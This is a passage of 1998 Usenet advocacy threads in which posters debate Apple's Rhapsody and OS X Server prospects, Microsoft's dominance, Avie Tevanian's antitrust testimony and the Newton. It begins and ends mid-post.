they are sometimes forced to break things. The real problem with MS, like IBM
in their heyday to deacdes ago, is not that they are greedy or technologically
inferior (in some cases, they are not!). The problem is that they force the
industry to march to their beat, stifling other, interesting rhythms.
-r
--
Canta Forda Computer Laboratory | Prime Time Freeware - quality
UNIX consulting, training, & writing | freeware at affordable prices
+1 650-873-7841 | +1 408-433-9662 -0727 (Fax)
Rich Morin, rdm@cfcl.com | www.ptf.com, info@ptf.com
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Message-ID: <rbarris-ya023280000111981113460001@206.82.216.1>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <71avps$u2q$2@eskinews.eskimo.com> <rbarris-ya023280002910981607450001@206.82.216.1> <AMu_1.2390$GZ6.6598@news14.ispnews.com>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Sun, 01 Nov 1998 11:13:46 -0800
NNTP-Posting-Date: Sun, 01 Nov 1998 11:12:48 PDT
In article <AMu_1.2390$GZ6.6598@news14.ispnews.com>, "Earl Malmrose"
<malmrose@nospam.jetcity.com> wrote:
> Rob Barris wrote in message ...
> >
> > Hmmm, if I have dragged two (or three, or 15...) folders to the recycle
> >bin, how do I know which files came from which folder?
>
> Maybe you should upgrade. NT4 shows the folders in the recycle bin as
> folders. I think Win98 does too.
Last three attempted Win98 upgrades I watched had to go back to Win95. Pass.
Rob
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 1 Nov 1998 21:43:21 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71iklp$94o@news1.panix.com>
References: <F1LGE7.7Aw@T-FCN.Net> <B25DED64-2BAB2@206.165.43.81> <F1Lo80.C3u@T-FCN.Net> <71aafv$7sg$1@hole.sdsu.edu> <cdoutyF1LxoL.Cwv@netcom.com>
On Thu, 29 Oct 1998 21:14:45 GMT, Chris Douty <cdouty@netcom.com> wrote:
>If Apple released all of the Dylan project into the public domain or GPL,
>or whatever then anyone could develop a product out of it. This include
>Microsoft making a Windows-only Dylan-like thing. Apple might get a
>little bit of good will from the CS academia and Open Source communities,
>but solid Linux on PowerMac hardware support will get them more milage.
There is nothing stopping Apple from adding a clause like this to the
Dylan project source:
"This software is free to use for individuals and non-profit (or not for
profit) organizations. Any revisions or derivative works released by parties
that do not meet these criteria, must receive the written permission of
Apple..."
Heck, Apple could require that individuals dress in costume and sing "I am
the very model of a modern major general" from Gilbert and Sullivan's _The
Pirates of Penzance_ to amuse the Apple board if they wanted to.
The down side to doing this is that once you give something away for free,
it is very hard to charge money for it down the line. Just ask Netscape.
Dylan and/or related technologies might end up in some future Apple product.
Frankly, I'm willing to bet that stockholders would be more concerned with
Apple giving away things than Steve's taste in music.
>I am sure that Apple would sell various buried technologies if the price
>was right. So far no one has come up with an offer other than "free."
Getting Dylan (or Newton or OpenDoc) into a form that could be given away
for free might have some considerable cost to it as well.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 1 Nov 1998 21:43:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71ikln$94o@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
On Fri, 30 Oct 1998 02:41:44 GMT, Rex Riley <rr6013@yahoo.com> wrote:
>Rhapsody has been blown
>into a $400 million, 2 yr. PregnantPause when it could have been crafted
>into an NTkiller strategy by now. The best Rhapsody expectation now? At
>best a better Macintosh.
Apple is _NOT_ in a position to sell Rhapsody as a "Better NT".
Apple has zero credibility in the server market. The current g3 server line
(even if it was running OSX) is totally inadequate for the market, outside
the departmental server market. Can anyone point me to any VARs selling Apple
hardware as servers? Rack mount g3s? Hot swap drives?
Apple has almost zero credibility in the larger enterprise market.
To gain any credibility at all, they must
a) build a network of VARs
b) market OSX as a tool for solving a particular set of problems (at the
very least, have white papers and and brochures that target individual
markets)
c) form partnerships with the big three database vendors
d) form partnerships with companies that build hardware appropriate
for the enterprise market
This is something that would take 3-5 years to do, and if they were doing
it; the effects would not be immediately visible.
>And. Apple is scared to death of killing that
>GoldenGoose to wit: MacOS X server delay.
I'm willing to bet that the delay has more to do with WO4 and support for
Oracle being late than any fear of killing MacOS. Besides the unofficial
comments I've heard, an Apple spokesman made a statement that they wanted to
ship OSX Server with the right software, and mentioned WO by name.
Message-ID: <363CE94C.437A392C@nstar.net>
Date: Sun, 01 Nov 1998 17:05:48 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com>
Content-Type: text/plain; charset=us-ascii
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Sal Denaro wrote:
>
> On Fri, 30 Oct 1998 02:41:44 GMT, Rex Riley <rr6013@yahoo.com> wrote:
> >Rhapsody has been blown
> >into a $400 million, 2 yr. PregnantPause when it could have been crafted
> >into an NTkiller strategy by now. The best Rhapsody expectation now? At
> >best a better Macintosh.
>
> Apple is _NOT_ in a position to sell Rhapsody as a "Better NT".
>
> Apple has zero credibility in the server market.
NT sells as both a workstation product and a server product. Rhapsody's
capabilities in the workstation market are excellent. BSD UNIX's
capabilities in the server market are also excellent.
As for credibility, I wonder why you bring this up. After all, your boy
got Apple into this spot. Prior to Jobs Apple was selling very nice AIX
servers, thank you.
> The current g3 server line
> (even if it was running OSX) is totally inadequate for the market, outside
> the departmental server market.
There is, of course, the departmental server market. The current OS is
what makes them unsuitable for anything else. The Apple Network Servers
were running 150 and 200MHz processors, which made them more than
adequate for a low-to-mid sized server.
Moreover, in the absence of Jobs, any kind of hardware would have been a
possibility. Current G3 machines as the sole hardware base for MacOS X
were Jobs' idea, you may remember. And people say Apple had NIH Syndrome
*before* Jobs...
> Can anyone point me to any VARs selling Apple
> hardware as servers?
Running MacOS? Get real. We're talking about Rhapsody, which is not yet
shipping (as you might have noticed).
> Rack mount g3s?
Yes, Marathon was going to sell these, but Jobs killed the clone market.
> Hot swap drives?
Why not? Unfortunately, there's no point doing this with the current
MacOS.
> Apple has almost zero credibility in the larger enterprise market.
>
> To gain any credibility at all, they must
>
> a) build a network of VARs
You have to have credibility to have VARs. It's not really a chicken/egg
thing; you just have to stop screwing people over.
> b) market OSX as a tool for solving a particular set of problems (at the
> very least, have white papers and and brochures that target individual
> markets)
> c) form partnerships with the big three database vendors
You don't have to have a partnership (although that would be nice). You
just have to have a product and a market. Like Linux has.
> d) form partnerships with companies that build hardware appropriate
> for the enterprise market
No way! That would be too close to cloning. Way too dangerous. Apple's
margins would be eaten from above! [runs screaming]
> This is something that would take 3-5 years to do, and if they were doing
> it; the effects would not be immediately visible.
Uh, yes, they would. They would be *immediately* visible in the form of
product shipments and market formation.
[cut]
MJP
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How dumb can MacOSRumors *be*?
Date: 1 Nov 1998 20:39:01 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <71j2fl$olf$1@crib.corepower.com>
References: <71ctee$bob$1@cronkite.cs.umd.edu>
NNTP-Posting-Date: 2 Nov 1998 01:39:09 GMT
In article <71ctee$bob$1@cronkite.cs.umd.edu>, seanl@cs.umd.edu (Sean Luke) wrote:
> Using technology developed by NeXT in the early 90's, this cluster
> of (about a dozen) G3 Servers cracked an encryption key "nearly as
> complex as the DES-II" in just under a week, [...]
> By way of comparison, this same effort took tens of thousands of
> computers, networked over the Internet, nearly six weeks.
> And apparently this machine breaks the laws of mathematics by
> solving a fully distributed problem in, let's see, I think that's in the
> magnitude of, um, carry the seven..., okay, ONE HUNDRED AND TWENTY SIX
> THOUSAND TIMES FASTER than other computers "networked over the Internet",
Where did you come up with that figure? Let's assume for the sake of
argument that "tens of thousands of computers" means 12,000 computers.
That's 1,000 times more computers than this supposed G3 project. And they
cracked it 6 times slower, for an overall speedup of 6,000, not 126,000.
Even with a fudge factor of an order of magntiude that doesn't approach
amount to your number.
Note that this isn't a commentary on MOSR's figures, I'm just wondering
at where you came up with your number.
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Sun, 01 Nov 1998 19:10:59 -0500
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References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com><71ikln$94o@news1.panix.com>
Content-Type: text/plain; charset="US-ASCII"
Organization: BM
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Message-ID: <71itan$ahn$1@ash.prod.itd.earthlink.net>
In article <71ikln$94o@news1.panix.com> , sal@panix.com (Sal Denaro) wrote:
>I'm willing to bet that the delay has more to do with WO4 and support for
>Oracle
What support for Oracle?
Ziya Oz
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 2 Nov 1998 16:53:18 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <71ko1u$7u1@newsb.netnews.att.com>
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com>
Originator: gupta@tlctest
Robert Fovell <rfovell@yahoo.com> wrote:
> <snippage applied to save bandwidth>
>
>Let me say at the outset that I'm not a Mac basher nor a Microsoft minion.
>That said, I find paragraphs 17-20 very unconvincing as evidence that
>*Microsoft* is _intentionally_ frustrating competition. What it does say is
>that *Apple* lacked the clout and credibility to convince legions of ISVs to
>adopt the Rhapsody APIs. A case of "too much [different], too late"...
>
>Part of that could be the fact that Microsoft has 90+% of the market. But, in
>my inexpert opinion just having the dominant position does not necessarily
>imply evil has been, or will be, done. It says more about Apple's unfortunate
>history of lapses, failures and broken promises. Mac users know these things
>better than anyone else. We don't need windroids to remind us of them.
Agreed. Microsoft having 90+% of the market is not the problem.
There would be a problem if Microsoft, for example,
a. lobbied other ISVs not to support Rhapsody;
b. said it would not consider porting Office to Rhapsody,
no matter how much support Apple was able to garner elsewhere;
c. asked Apple to deprecate Rhapsody in return for better
integration of MacOS with Windows NT
etc. There appears to be arm-twisting in the case of the default browser,
and in the case of Quicktime; but none with regard to Rhapsody.
-arun gupta
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 2 Nov 1998 02:46:12 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <71j6dk$ro4$1@supernews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <363CE94C.437A392C@nstar.net>
In article <363CE94C.437A392C@nstar.net>,
Michael J. Peck <mjpeck@nstar.net> wrote:
>NT sells as both a workstation product and a server product. Rhapsody's
>capabilities in the workstation market are excellent. BSD UNIX's
>capabilities in the server market are also excellent.
Apple's declared core markets are consumer, education, and content
producers. I don't see servers in there.
[...]
>There is, of course, the departmental server market.
What critical need are they filling in the departmental server
sector? They'll probably piggyback some sales off of WebObjects
to programmers on OSX, to eventually deploy (at least at big sites)
on other platforms, but other than that?
[...]
>No way! That would be too close to cloning. Way too dangerous. Apple's
>margins would be eaten from above! [runs screaming]
You know, I was worried about the death of clones, too. But here
we are, Apple is profitable, the death spiral has been halted,
the stock has tripled, Apple is shipping good products, and has
a chance again. I find it hard to bitch and moan too much.
--
Don McGregor | "With a title like _Beach Babes 2: Cave Girl Island_
mcgredo@mbay.net | you know it's going to be a great movie"
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 2 Nov 1998 04:34:05 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71jcnt$h6g@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com><71ikln$94o@news1.panix.com> <71itan$ahn$1@ash.prod.itd.earthlink.net>
On Sun, 01 Nov 1998 19:10:59 -0500, Ziya Oz <ZiyaOz@earthlink.net> wrote:
>In article <71ikln$94o@news1.panix.com> , sal@panix.com (Sal Denaro) wrote:
>>I'm willing to bet that the delay has more to do with WO4 and support for
>>Oracle
>What support for Oracle?
At the very least, support for EOF. At best, a native port of V7 and V8.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 2 Nov 1998 04:34:04 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71jcns$h6g@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <363CE94C.437A392C@nstar.net>
On Sun, 01 Nov 1998 17:05:48 -0600,
Michael J. Peck <mjpeck@nstar.net> wrote:
>As for credibility, I wonder why you bring this up. After all, your boy
>got Apple into this spot. Prior to Jobs Apple was selling very nice AIX
>servers, thank you.
How is Steve Job in any way responsible for Apple for the reputation
that Apple developed while he wasn't there?
And how many of those AIX servers did Apple sell? I doubt they sold
in enough numbers to justify building them. They might have been nice,
but they sure didn't make any dents into that market. FAIK, Gil killed
them; after all, he has claimed that Jobs is running Apple under the
plan he laid out.
>Moreover, in the absence of Jobs, any kind of hardware would have been a
>possibility. Current G3 machines as the sole hardware base for MacOS X
>were Jobs' idea, you may remember. And people say Apple had NIH Syndrome
>*before* Jobs...
Apple has never stated that OSX will be g3 only, they have only announced
support for g3 systems. To paraphrase Joseph Heller, they haven't said
they won't, they only haven't said they will.
>> To gain any credibility at all, they must
>> a) build a network of VARs
>You have to have credibility to have VARs. It's not really a chicken/egg
>thing; you just have to stop screwing people over.
And (Oracle||IBM||Microsoft||Sybase||SAP) have never screwed anyone over?
VARs and consultants sign on when they smell money to be made. We labor
under the assumption that our partners are looking out for their interests
and not ours. If you think otherwise, your are being very naive.
Apple is building credibility by becoming profitable and shipping products
with the appropriate sales support with them. If they push WO+OSX Server
half as well as they pushed the iMac, I should be very busy selling it in
early to mid '99.
>> c) form partnerships with the big three database vendors
>You don't have to have a partnership (although that would be nice). You
>just have to have a product and a market. Like Linux has.
This is a case that supports my statement.
How long did it take for Oracle to support Linux? How long did it take
port? I'm willing to bet that the debate to support Linux took an order
of magnitude longer than the actual port.
>> This is something that would take 3-5 years to do, and if they were doing
>> it; the effects would not be immediately visible.
>Uh, yes, they would. They would be *immediately* visible in the form of
>product shipments and market formation.
Huh?
You have claimed that there was no way of telling if any Apple ISV would
support YellowBox based solely on the lack of product announcements; and,
now you claim that a lack of immediately visible evidence means that there
is no support.
If you are going to use Linux to gauge the timeframe it would take for OSX
to build support, then you'll have to concede that my 3 to 5 year is pretty
close. Linux has been easily available and relatively stable since 1994. In
what year did the big 3 database vendors announce plans? When did the first
VARs start to ship Linux workstations? And what year is if now?
From: "Steven W. Schuldt" <sschuldt@mindspring.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Avie's DoJ testimony.
Date: Sat, 31 Oct 1998 15:56:48 -0800
Organization: MindSpring Enterprises
Message-ID: <71g8ml$h2s$1@camel15.mindspring.com>
References: <ch3-3010981749550001@ip177.seattle12.wa.pub-ip.psi.net> <363AA283.6134540C@trilithon.com>
You must be using Internet Explorer. ;)
- Steve
Henry McGilton wrote in message <363AA283.6134540C@trilithon.com>...
>CaHand wrote:
>
> * http://www.usdoj.gov/atr/cases/f2000/2010.htm
>Great web site --- no response in the past 24 hours.
>
>Yet Another Non-responding Website . . .
>
> ........ Henry
>
>============================================================
> Henry McGilton | Trilithon Software
> Boulevardier, Java Composer | Seroia Research
>-------------------------------+----------------------------
> mailto:henry@trilithon.com | http://web.trilithon.com
>============================================================
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 2 Nov 1998 06:14:28 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <71jik4$ghk$1@cronkite.cs.umd.edu>
References: <01bdfc5b$c2fd8520$06387880@chewy> <36314761.686007A9@milestonerdl.com> <71di2h$3ua$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 2 Nov 1998 06:14:28 GMT
milo_mklinux@my-dejanews.com wrote:
> In article <36314761.686007A9@milestonerdl.com>,
> > WWDC 1997
> > Newton/OpenDoc/Rhapsody OS are the future.
> >
> > WWDC 1998
> > Newton - Dead
>
> Get a Palm PC and get over it.
Not until they even *approach* the abilities of a MessagePad 2000 or 2100.
WinCE is still a truly awful environment, it's just amazing they could
have done that badly after sitting it out and watching Apple and Psion for
clues on what to do and what not to do.
--Sean, who's writing this *ON* a Newton MessagePad 2000, and who just
coded his first Newton app, a complex Chinese input system, in just three
evenings after poking around with a radically unusual language
(NewtonScript) and a totally different development environment (Newton
Toolkit). Let's see a new WinCE developer do *that*.
Sean Luke
seanl@cs.umd.edu
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 2 Nov 1998 06:11:43 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <71jiev$258$1@supernews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <363CE94C.437A392C@nstar.net> <71j6dk$ro4$1@supernews.com> <363D2DBF.9861F0D4@nstar.net>
In article <363D2DBF.9861F0D4@nstar.net>,
Michael J. Peck <mjpeck@nstar.net> wrote:
>Donald R. McGregor wrote:
>
>> Apple's declared core markets are consumer, education, and content
>> producers. I don't see servers in there.
>
>Right! Your point?
That Apple might not be interested in selling OSX into heavy-duty
server markets.
[...]
>> You know, I was worried about the death of clones, too. But here
>> we are, Apple is profitable, the death spiral has been halted,
>
>There never was a "death spiral". Look at the figures; the company was
>doing quite well 12 months before the December 1995 loss. Unless a
>"death spiral" can happen that quickly, you've been duped into the Big
>Lie just like everyone else.
Uh, billions in losses, massive loss of market share, decrease in
revenues, defection of developers, widespread perception that
Apple was doomed, R&D failing again and again to deliver the
goods--sounds like a death spiral to me.
Yes, in the technology world a death spiral can happen that quickly.
1995 also coincided with something called Windows95, which erased
much of the advantage Macs had. All of the sudden Apple didn't
have as much of a value proposition, and had no credible transition
plan to a modern OS.
--
Don McGregor | "With a title like _Beach Babes 2: Cave Girl Island_
mcgredo@mbay.net | you know it's going to be a great movie"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 2 Nov 1998 19:48:28 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn73s34b.587.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com> <71ko1u$7u1@newsb.netnews.att.com>
NNTP-Posting-Date: 2 Nov 1998 19:48:28 GMT
On 2 Nov 1998 16:53:18 GMT, gupta@knim.tm.tta.moc-mirror after wrote:
:>Part of that could be the fact that Microsoft has 90+% of the market. But, in
:>my inexpert opinion just having the dominant position does not necessarily
:>imply evil has been, or will be, done.
There remain the 'minor issues' of knifing OS/2, and illegal preloading deals.
:> It says more about Apple's unfortunate
:>history of lapses, failures and broken promises. Mac users know these things
:>better than anyone else. We don't need windroids to remind us of them.
But regardless how it happened once 90% of the market is locked up,
that is justification for scrutiny and potential intervention, in my opinion.
:Agreed. Microsoft having 90+% of the market is not the problem.
:
:There would be a problem if Microsoft, for example,
: a. lobbied other ISVs not to support Rhapsody;
: b. said it would not consider porting Office to Rhapsody,
: no matter how much support Apple was able to garner elsewhere;
: c. asked Apple to deprecate Rhapsody in return for better
: integration of MacOS with Windows NT
:
:etc. There appears to be arm-twisting in the case of the default browser,
:and in the case of Quicktime; but none with regard to Rhapsody.
True. So far. (So far as we know.) It's clear now that Carbon should
have been part of Rhapsody from the get go.
Have there been strange installation errors for YB/Windows?
Or, perhaps more likely, has Apple's Quicktime experience made them
give up serious cross-platform ambitions?
In which Microsoft has succeeded perfectly: users of other operating
systems can become accustomed to and compatible with Microsoft
technologies, but not vice versa. Making it all the more compelling
to just give up and switch to Windows. Just liket he Roach Motel,
once you check in, you never can check out.
:-arun gupta
Though at the moment, Microsoft seems increasingly worried about OpenSource.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Mon, 02 Nov 1998 11:41:38 -0600
Organization: Ericsson North America Inc.
Message-ID: <363DEED2.3AF66BDD@ericsson.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <363CE94C.437A392C@nstar.net> <71jcns$h6g@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sal Denaro wrote:
>
> On Sun, 01 Nov 1998 17:05:48 -0600,
> Michael J. Peck <mjpeck@nstar.net> wrote:
> >As for credibility, I wonder why you bring this up. After all, your boy
> >got Apple into this spot. Prior to Jobs Apple was selling very nice AIX
> >servers, thank you.
>
> How is Steve Job in any way responsible for Apple for the reputation
> that Apple developed while he wasn't there?
Hmmm, he's not. That's pretty much the whole point. Read carefully.
> And how many of those AIX servers did Apple sell? I doubt they sold
> in enough numbers to justify building them.
First you say that Apple has no credibility in the server market, now
you say that you "doubt" that the last effort it made was worth it. You
can't have it both ways, Sal, sorry. Apple has, in fact, built very
successful servers.
> They might have been nice,
> but they sure didn't make any dents into that market. FAIK, Gil killed
> them; after all, he has claimed that Jobs is running Apple under the
> plan he laid out.
Oh, please. That is so weak.
> Apple has never stated that OSX will be g3 only, they have only announced
> support for g3 systems. To paraphrase Joseph Heller, they haven't said
> they won't, they only haven't said they will.
What do you take me for? Some kind of imbecile? This is so weak.
> And (Oracle||IBM||Microsoft||Sybase||SAP) have never screwed anyone over?
> VARs and consultants sign on when they smell money to be made. We labor
> under the assumption that our partners are looking out for their interests
> and not ours. If you think otherwise, your are being very naive.
Good grief. Any more words you'd like to stuff into my mouth? The fact
is, looking after your partners *is* looking out for your own interests,
that's what makes them partners! Don't be so naive, yourself. There are
keen relationships between market size, partnerships, and reliability.
Apple has none of the above, would you like to guess at the reasons why?
> Apple is building credibility by becoming profitable and shipping products
> with the appropriate sales support with them.
In your wildest dreams. I'm sure visions of sugar plums dance beside
iMacs running Oracle in your head, right? Give it a rest.
> If they push WO+OSX Server
> half as well as they pushed the iMac, I should be very busy selling it in
> early to mid '99.
Whatever. Everyone needs a fantasy, I suppose.
> >You don't have to have a partnership (although that would be nice). You
> >just have to have a product and a market. Like Linux has.
>
> This is a case that supports my statement.
>
> How long did it take for Oracle to support Linux? How long did it take
> port? I'm willing to bet that the debate to support Linux took an order
> of magnitude longer than the actual port.
Ah, the wonderful twisting and shifting of arguments. At first it was a
"partnership" that would get Oracle on board, now it's just time.
Whatever. As far as I can tell, you're banking on the next three years
to bear out your predictions, which suits me fine because my predictions
will put Apple out of business well before that.
> >Uh, yes, they would. They would be *immediately* visible in the form of
> >product shipments and market formation.
>
> Huh?
>
> You have claimed that there was no way of telling if any Apple ISV would
> support YellowBox based solely on the lack of product announcements; and,
> now you claim that a lack of immediately visible evidence means that there
> is no support.
Get a clue! You have to have an OS to run on before you can ship
products for it. That's exactly right, I said that developers wouldn't
announce for Rhapsody until it existed, which means that *THEY* would
not be immediately visible. But the *OS* itself *WOULD* be immediately
visible, because that's the first step.
Oh, jeez. I can't believe I'm fricking doing this again. I swore off
being your personal kindergarten teacher, now I'm right back in the same
boat.
> If you are going to use Linux to gauge the timeframe it would take for OSX
> to build support, then you'll have to concede that my 3 to 5 year is pretty
> close. Linux has been easily available and relatively stable since 1994. In
> what year did the big 3 database vendors announce plans? When did the first
> VARs start to ship Linux workstations? And what year is if now?
Have fun,
MJP
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 2 Nov 1998 18:42:02 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <71kudq$qcf$1@supernews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <363D2DBF.9861F0D4@nstar.net> <71jiev$258$1@supernews.com> <363DF2CB.B1DC9B31@ericsson.com>
In article <363DF2CB.B1DC9B31@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
>> >There never was a "death spiral". Look at the figures; the company was
>> >doing quite well 12 months before the December 1995 loss. Unless a
>> >"death spiral" can happen that quickly, you've been duped into the Big
>> >Lie just like everyone else.
>>
>> Uh, billions in losses, massive loss of market share, decrease in
>> revenues, defection of developers, widespread perception that
>> Apple was doomed, R&D failing again and again to deliver the
>> goods--sounds like a death spiral to me.
>
>There are two primary causes for all of this: poor management, and a
>massive perception problem. The poor management was nothing new, the
>perception *was*.
Before, Apple had poor management and profits coming out its ears.
This tended to hide some problems. Afterwards, it had bad management,
losses, and a correct perception that it was rudderless and completely
flummoxed by how the world had changed.
>> Yes, in the technology world a death spiral can happen that quickly.
>> 1995 also coincided with something called Windows95, which erased
>> much of the advantage Macs had. All of the sudden Apple didn't
>> have as much of a value proposition, and had no credible transition
>> plan to a modern OS.
>
>It's true that Win95 caused a lot of the perception problem,
I suppose you could say that a competitor destroying your user base
could lead to a "perception problem". Not all "perception problems"
are baseless.
>but
>problems don't have to stay problems. An upgrade plan was needed, and
>there were plenty of options. I'm sure you noticed that Microsoft missed
>the Internet phenomenon in its early years; would you call that "R&D
>failing again and again to deliver the goods"? I could name probably ten
>failed Microsoft projects from that year alone, from Blackbird to Active
>Movie.
MS fails a fair amount. But one thing they _did_ get right was the
operating system transition, which is what blew Apple out of the water.
They paid attention to their franchise, their money making machine,
MS Windows, while Apple blew it with Pink/Taligent and then Copland.
It's OK to fail, as long as you fail less than the other guy, and
fail in something that isn't critical to your business model.
>What Apple needed was answers. It wasn't really much to ask; the way
>forward was pretty obvious. But what Apple got instead was mass hysteria
>and consistent, focused press that hammered a number of key issues:
>
>1) Lack of a brand-new, non-MacOS system.
>2) Falling marketshare
>3) Falling stock price
>
>These were incredibly idiotic points to mention. More important to
>Apple's business survival were four totally different issues:
Failure to ship a modern OS is a rather serious issue. So is falling
market share, and still more falling revenues; a drop by 1/3 or more
in revenues, coupled with billions in losses, at the same time the
market for your product is exploding, often does lead to
a falling stock price.
>1) Intellectual and research assets
Apple had amazingly poor return on their R&D. A few neat demos, but
little that added value to Apple sales. Taligent? Copland? Both
projects critical to the future of Apple, both cratered. Quicktime
was good. Other than that, what did they get for their billions?
>2) Credit rating
Losing a billion bucks a year tends to lessen credit ratings.
>3) A profitable userbase
Except it wasn't profitable, aside from the potential of putting it
into maintenance mode and milking it while it died over a few years.
>4) Competent management
>
>Apple had the first three nailed. All it needed was the fourth, which it
>gained in 1996 with the acquisitions of Gilbert Amelio, Ellen Hancock,
>and other talented auxiliaries like Heidi Roizen.
I was horrified every time I saw Amelio in public. It gave me a
queasy feeling in my stomach, a feeling that he was in way over
his head in a market he didn't know much about while in charge of
a company that offered the only viable alternative to Microsoft,
with a dilletante board overseeing everything.
>Public opinion was manipulated to cause this winning formula's failure.
By whom?
--
Don McGregor | "With a title like _Beach Babes 2: Cave Girl Island_
mcgredo@mbay.net | you know it's going to be a great movie"
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Avie's testimony: Now we know what happened to Rhapsody
Date: Mon, 2 Nov 1998 10:30:18 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <71kj6v$f4j@shelob.afs.com>
Those of us who come from the NEXTSTEP/OPENSTEP side had long suspected and
pieced together tidbits of this story, but it's nice to see our paranoia
validated. Here are paragraphs 17-20 of Avie's testimony introduced on
Friday:
BARRIERS TO COMPETITION IN THE OPERATING SYSTEM MARKET: APPLE'S EXPERIENCE
WITH THE RHAPSODY OPERATING SYSTEM
17. Apple's experience with its Rhapsody operating system illustrates how
difficult it is to gain acceptance and support for a new operating system in
the face of Microsoft's monopoly of the operating system market. This
experience shows that innovation and technical advantages may be
insufficient to overcome the barriers imposed by Microsoft's domination of
the operating system market.
18. In 1997, Apple purchased NeXT software with the intent to use NeXT's
technology to develop a new operating system. Apple's goal was to build a
more robust, technologically superior operating system that would offer
significant benefits over existing systems. This operating system would take
advantage of NeXT's demonstrated advancements in the emerging field known as
"object oriented" programming. Among other things, these advancements would
enable software writers to increase their productivity in developing
application programs. The new operating system was code-named Rhapsody.
19. Because an operating system cannot be successful unless it has trhe
ability to run a sufficent number of popular applications, Apple embarked on
an ambitious campaign to convince independent software vendors ("ISVs") to
adapt their programs to make use of Apple's new application program
interfaces for Rhapsody. This campaign was not successful. Developers,
